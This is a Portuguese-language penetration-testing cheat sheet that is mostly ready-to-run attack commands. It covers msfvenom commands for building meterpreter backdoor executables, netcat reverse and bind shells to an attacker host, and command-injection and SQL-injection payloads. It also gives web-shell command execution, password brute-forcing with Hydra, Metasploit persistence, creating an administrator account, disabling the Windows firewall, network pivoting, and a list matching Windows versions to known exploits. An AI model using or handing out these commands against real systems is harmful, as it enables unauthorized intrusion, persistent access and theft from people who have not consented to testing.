Criando Backdoors

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=seu_IP LPORT=sua_porta -a x86 -f exe > backdoor_reverso.exe

msfvenom -p windows/meterpreter/bind_tcp LPORT=sua_porta -a x86 -f exe > backdoor_bind.exe
```

upload de arquivo - meterpreter

```
upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32\\

upload /usr/share/windows-binaries/plink.exe c:\\windows\\system32\\

upload /usr/share/windows-binaries/wget.exe c:\\windows\\system32\\
```

plink - bind e reverse

bind:

```
plink -C -R [ip do pivo rede kali]:[porta]:[ip do alvo]:[porta do sv alvo] [ip do atacante]
```

```
reverse -C -L [ip do pivo rede alvo]:[porta]:[ip do kali]:[porta] [ip do kali]
```

plink - pivo de pivo - bind

```
Kali=K
Pivo1=P1
Pivo2=P2
Alvo=A

Estabelecer um link reverso no P1 na porta 22 do K
plink -C -L [ip do P1 rede K]:22:[ip do K]:22 [ip do Kali]

Estabelecer um link direto no P2 para A utilizando o link reverso
plink -C -R [ip do P2 na rede P1]:[porta escolhida]:[ip do A]:[porta escolhida] [ip do P2]
```

upload tftp

```
atftp --daemon -port 69 /srv/ftp

tftp -i [ip do alvo] get nc.exe
```

upload com echo em arquivo

```
echo open [ip do alvo]>>ftp.txt
echo ftp>>ftp.txt
echo bin>>ftp.txt
echo GET wget.exe>>ftp.txt
echo bye>>ftp.txt
```

```
ftp -s:ftp.txt


#### SQL Injection ####
' or 1=1 --
' or 1=1 ##
' or 1-1 \\

' or '1'='1 --
' or '1'='1 ##
' or '1'='1 \\


‘ union select 1, ‘fictional_user’, ‘some_password’ , 1--



#### navegador de tela de execução de comando ####

;whereis nc

;[caminho]/nc -nv [ip do atacante] [porta] -e /bin/bash         // podendo ser
/bin/sh ou cmd.exe em caso de windows




#### FTP que da acesso ao www (pasta do servidor web) ####

ftp [ip do servidor]
[tente logar com usuário anonimo ou um usuário conhecido sem senha]

PUT [nome do arquivo]

Dicas de FTP:

- ao logar rode os seguintes comandos:
status
system

para ver se tem algo interessante

#### Navegador executar comando na barra de endereço ####

[ip do servidor]/[nome do arquivo em shell]?cmd=whereis+nc


Fazer o shell reverso como dito anteriormente

Ex: 192.168.100.23/shellcachorro.php?cmd=cat+/etc/passwd


#### Hydra ####

hydra -L user.txt -P password.txt 10.0.0.1o ftp

hydra -l usser -p senha 10.10.2.1 ssh
```

netcat nind e reverse

bind:
Alvo: nc -nlvp [porta] -e cmd.exe // para linux: -e /bin/sh ou -e /bin/bash
Atacante: nc -nv [ip do alvo] [porta]

Reverse:
Alvo: nc -nv [ip do atacante] [porta] -e cmd.exe // para linux: -e /bin/sh ou -e /bin/bash
Atacante: nc -nlvp [porta]

compilando arquivos em C

gcc [arquivo em c] -o [arquivo executavel de saida]

chmod +x [arquivo executavel de saida]

./[arquivo executavel de saida]

Pastas e arquivos interessantes no Kali

/usr/share/exploitdb

searchexploit [nome do eploit]

/usr/share/webshells/php

/usr/share/john/password.lst

Criar persistência no metasploit

use o handler (reverse_tcp) para receber essa conexão com o run -j no final.
Configure no persistence a porta aberta no handler

run persistence -r 192.168.1.9 -p 2345 -A -X -i 300

COMANDOS PARA WINDOWS

Adicionar usuário

net user [usuario] [senha] /add
net localgroup administrators [usuario] /add
net user [usuario]

Desabilitar firewall

Listar o status do firewall:
netsh advfirewall show allprofiles

Desabilitar:
netsh advfirewall set allprofile state off

Pivoteamento

meterpreter > ipconfig
meterpreter > run arp_scanner -r ip_rede/masc

Passo 2: adicione a rota para a rede destino ao msfconsole juntamente com o ID da sessão aberta com a máquina comprometida:
Exemplo:
msf > route add 192.168.100.0 255.255.255.0 3
msf > route print

ou

use post/multi/manage/autoroute

e configure sua máquina com proxy

use auxiliary/server/socks4a

Scan de portas com MSF

msf> use auxiliary/scanner/portscan/tcp

Ping sweep com o MSF

use post/multi/gather/ping_sweep

abrir handler

use exploit/multi/handler

nmap do meterpreter

msfmap IP

Port Forward - portfwd
meterpreter > portfwd add –l 3389 –p 3389 –r [target host]

add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.
-p 3389 is the destination port on our targeting host.
-r [target host] is the our targeted system’s IP or hostname.

transformar dump de exe no exe novamente

```
cat ftp104.bkp | awk -F" " '{print $2 $3 $4 $5 $6 $7 $8}' > ftp104.txt

xxd -r -p ftp104.txt > ftp104.exe
```

Dicas de vulnerabilidades Windows

```
Windows 2000               → MS03_026(135), MS07_029(dns+rpc),
Windows 2000 sp4         → MS08_067(445)
Windows XP sp2,sp3       → MS08_067(445)
Windows XP sp1             → MS03_026(135)
Windows Vista                → MS09_050(445)
Windows 2003               → MS03_026(135), MS07_029_msdns_zonename (dns+rpc)
Windows 2003 sp1,sp2  → MS08_067(445)
Windows 2008               → MS08_067(445)
Windows 2008 rc,r2       → MS09_050_smb2_negotiate_func(445)
Windows 7 rc                 → MS09_050(445)
Remote Desktop            → MS12_020
Vários                            → MS17_010
```

Links úteis

Guia do Pentest
1- https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/

Escalação de privilégios em Windows:

1- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
2- http://www.fuzzysecurity.com/tutorials/16.html

Escalação de privilégios em Linux

1- https://0x00sec.org/t/enumeration-for-linux-privilege-escalation/1959
2- https://touhidshaikh.com/blog/?p=790

Escalação de privilégios no Windows
1- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Comandos FTP
1- https://www.howtoforge.com/tutorial/how-to-use-ftp-on-the-linux-shell/

Pivoteamento
1- https://pentest.blog/explore-hidden-networks-with-double-pivoting/